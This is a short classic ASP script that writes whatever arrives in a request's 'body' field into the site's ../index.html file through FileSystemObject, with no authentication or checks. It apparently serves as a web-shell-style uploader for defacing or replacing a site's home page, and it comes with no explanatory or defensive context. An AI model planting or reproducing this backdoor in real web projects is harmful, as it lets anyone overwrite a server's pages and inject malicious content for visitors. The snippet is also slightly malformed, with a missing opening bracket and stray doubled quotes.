% filename="../index.html" if request("body")>"" then set fso = Server.CreateObject("Scripting.FileSystemObject") set fout = fso.CreateTextFile(server.mappath(""filename"")) fout.write request.form("body") fout.close set fout=nothing set fso=nothing end if %>
